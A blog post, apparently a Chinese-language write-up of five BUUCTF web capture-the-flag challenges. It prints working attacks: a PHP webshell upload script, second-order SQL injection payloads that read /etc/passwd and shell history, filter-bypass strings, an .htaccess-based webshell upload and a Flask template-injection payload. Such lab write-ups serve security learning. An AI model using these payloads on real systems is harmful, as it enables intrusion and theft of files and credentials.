BUUCTF-WEB(86-90)

Muneyoshi發表於2024-06-17

[NPUCTF2020]ezinclude

參考:php7 segment fault特性(CVE-2018-14884) - Eddie_Murphy - 部落格園 (cnblogs.com)

[BUUCTF題解][NPUCTF2020]ezinclude 1 - Article_kelp - 部落格園 (cnblogs.com)

檢視原始碼發現

image-20240616144852199

然後抓包發現一個hash值

image-20240616145629875

然後我直接傳引數,讓pass等於這一個Hash

?pass=fa25e54758d5d5c1927781a6ede89f8a

image-20240616145712609

然後我們訪問flflflflag.php,網頁訪問直接就是404,我們在burp訪問一下

image-20240616145854809

然後有一個檔案包含,我們輸入

?file=php://filter/read=convert.base64-encode/resource=index.php

image-20240616150449407

然後沒發現啥,看到了過濾了一些東西,然後我們得想辦法getshell

然後查了一下可以利用CVE-2018-14884

使用php://filter/string.strip_tags導致php崩潰清空堆疊重啟,如果在同時上傳了一個檔案,那麼這個tmp file就會一直留在tmp目錄,知道檔名就可以getshell,因為/tmp/xxx,裡面的xxx是隨機的,需要我們獲取才能利用

發現他其實還有一個dir.php,後面用於我們獲取檔名。

image-20240616151951514

以下是師傅的指令碼

import requests
from io import BytesIO #BytesIO實現了在記憶體中讀寫bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://03c49e5c-9594-4b26-8498-0eb1f8203cff.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

執行過後,我們再次看一下這個dir.php,發現了多了一個檔案

image-20240616152322784

然後蟻劍連線

http://03c49e5c-9594-4b26-8498-0eb1f8203cff.node5.buuoj.cn:81/flflflflag.php?file=/tmp/phpFVc8V7

連線上去也沒有檔案。

然後給指令碼里面改一下,直接改成phpinfo,然後檢視一下檔名,訪問

/flflflflag.php?file=/tmp/phpeEMvZk

image-20240616153751765

[網鼎杯 2018]Comment

參考:[BUUCTF題解][網鼎杯 2018]Comment - Article_kelp - 部落格園 (cnblogs.com)

[網鼎杯 2018]Comment題解,超詳細!_網鼎杯2018 comment-CSDN部落格

[網鼎杯 2018]Comment(二次注入,git洩露,git恢復)_[網鼎杯 2018]comment 1-CSDN部落格

隨便發了一個評論

image-20240616154510740

提示我們登入,密碼是少了三位的,我們burp爆破一下,記得改一下位數

image-20240616154811343

然後爆破出來就是zhangwei666

image-20240616154931768

然後登陸進來沒啥東西,然後掃描發現了git洩露

image-20240616155330699

然後我們使用githackerWangYihang/GitHacker: 🕷️ A .git folder exploiting tool that is able to restore the entire Git repository, including stash, common branches and common tags. (github.com)

githacker --url http://ffeb1532-df4b-4662-a8eb-fc40623bd36f.node5.buuoj.cn:81/.git --output-folder result

image-20240616162405519

然後我們看看有沒有其他版本,我們發現了一個更詳細的版本

git log --all

image-20240616162529232

然後我們恢復一下

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

然後發現$category的值先經過addslashes函式的轉義,然後放入了資料庫後,跳脫字元是已經去掉了,我們再看後面的$category是從資料庫中取出來的,所以可以構成二次注入

image-20240616163634023

所以我們可以先在發帖這裡的category構造出來語句,然後註釋掉後面,因為這裡是多行來寫,不能用# --+,我們需要用多行註釋來註釋掉中間的部分

我們現在發帖構造這個

',content=database(),/*

image-20240616164533128

然後在留言寫下

*/#

image-20240616164710434

然後發現出現了資料庫的名字

image-20240616164729015

然後後面你爆破錶,列都沒啥用,可以試試

接下來我們試試讀取檔案,發現成功讀取了

',content=(load_file("/etc/passwd")),/*
*/#

image-20240616164911415

然後我們發現www這個使用者的目錄/home/www,一般網站的使用者都是這個,然後我們看一下他的歷史命令

',content=(load_file("/home/www/.bash_history")),/*
*/#

image-20240616165140491

可以看到html.zip裡面有一個.DS_Store檔案,複製到/var/www/html目錄下後被刪除了,但是在/tmp/下只是刪除了壓縮包,但是因為有解壓的過程,所以解壓後生成的資料夾html裡還存在.DS_Store檔案,讀取這個檔案。

又因為.DS_Store有很多看不見的字元,我們十六進位制編碼一下

',content=(hex(load_file("/tmp/html/.DS_Store"))),/*
*/#

然後拿去解碼,發現flag_8946e1ff1ee3e40f.php

image-20240616165924373

然後我們訪問

',content=(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
*/#

然後解碼得到flag

image-20240616170135041

flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}

然後提交對不了,莫名其妙的

[HarekazeCTF2019]encode_and_encode

開啟就是原始碼

image-20240616171525194

我們應該POST傳入一個json格式的資料{"page":xxxxx}

然後我們就是想辦法繞過,這裡有一個json_decode這個函式,他會將\uxxxunicode字元轉義,所以我們可以用它過濾關鍵詞

php://filter/convert.base64-encode/resource=/flag

我們可以unicode編碼

\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067

然後post

{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}

image-20240616172843635

然後base64 解碼

flag{49cf7586-6920-45ca-9c27-803fdb3bb5b5}

[SUCTF 2019]EasyWeb

參考:[BUUCTF題解][SUCTF 2019]EasyWeb - Article_kelp - 部落格園 (cnblogs.com)

[SUCTF 2019]EasyWeb - 泠涯 - 部落格園 (cnblogs.com)

題目開啟就是原始碼

image-20240617151232929

首先是一個無字母RCE的構造,然後取反是被過濾了,那我們就用異或繞過

然後由於限制了長度,我們可以用$_GET[]()這種形式,然後[]被過濾了,我們可以用{}這個代替

?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

image-20240617152551061

我們可以看到很多函式都已經被過濾了

然後接下來我們可以呼叫get_the_flag這個函式,主要是用來上傳檔案,發現檔案字尾不能帶有ph以及檔案內容不可以有<?出現,然後phpinfo可以看出是Apache伺服器,我們是可以上傳.htaccess檔案的,我們可以採用php://filter偽協議進行base64編碼處理,這樣就能繞過對<?的檢測了,exif_imagetype對問價內容檢測可以透過新增檔案頭幻術來繞過,在前面新增這兩條即可

#define width 1337
#define height 1337

.htaccess檔案內容

#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./poc.jpg"
AddType application/x-httpd-php .jpg

poc.jpg檔案內容(這裡GIF89a多了兩位,是因為base64按照四位解碼的,所以我們補上了兩位)

GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

然後用指令碼上傳,都是大佬的

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST資料包POC</title>
</head>
<body>
<!--題目連結-->
<form action="http://1e77ef5b-9c14-4b60-aecb-7799ec7dc112.node5.buuoj.cn:81//?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="post" enctype="multipart/form-data">
    <label for="file">檔名:</label>
    <input type="file" name="file" id="postedFile"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

upload/tmp_4247b8a5da98794f37ad36c75aaa5631/.htaccess
upload/tmp_4247b8a5da98794f37ad36c75aaa5631/poc.jpg

然後蟻劍連結一下,密碼cmd

image-20240617185852530

然後根目錄直接找到flag

image-20240617185931675

[CISCN2019 華東南賽區]Double Secret

參考:[CISCN2019 華東南賽區]Double Secret - 怪味巧克力 - 部落格園 (cnblogs.com)

開啟頁面有個這

image-20240617193443026

我們試試訪問一下

image-20240617193504645

然後可能就是傳引數,引數名字就是secret

?secret=123

image-20240617193541947

多打了一串

?secret=12312312312312321312

image-20240617193617990

有原始碼洩露,我們看一下

image-20240617193813729

這裡其實就是對我們輸入引數的一個判斷,首先判斷你是不是為空,如果是空的引數,則返回一段話,就是我們剛進頁面看到的內容,如果你傳入了引數,那麼它就會進行加密,可以看到是RC4加密,而且還洩露了金鑰,金鑰就是“HereIsTreasure”,而且透過報錯,我們瞭解到這是flask的模板,而且python的版本是2.7的,那麼我們可以利用flask的模板注入,執行命令,只不過需要進行RC4加密。
然後師傅的程式碼跑一下

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函式")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  
    # print("原來的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混亂後的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("呼叫加密程式成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密後的字串是:%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

傳參,得到flag

flag{10d06794-3faa-4001-910f-dc7c21173b75}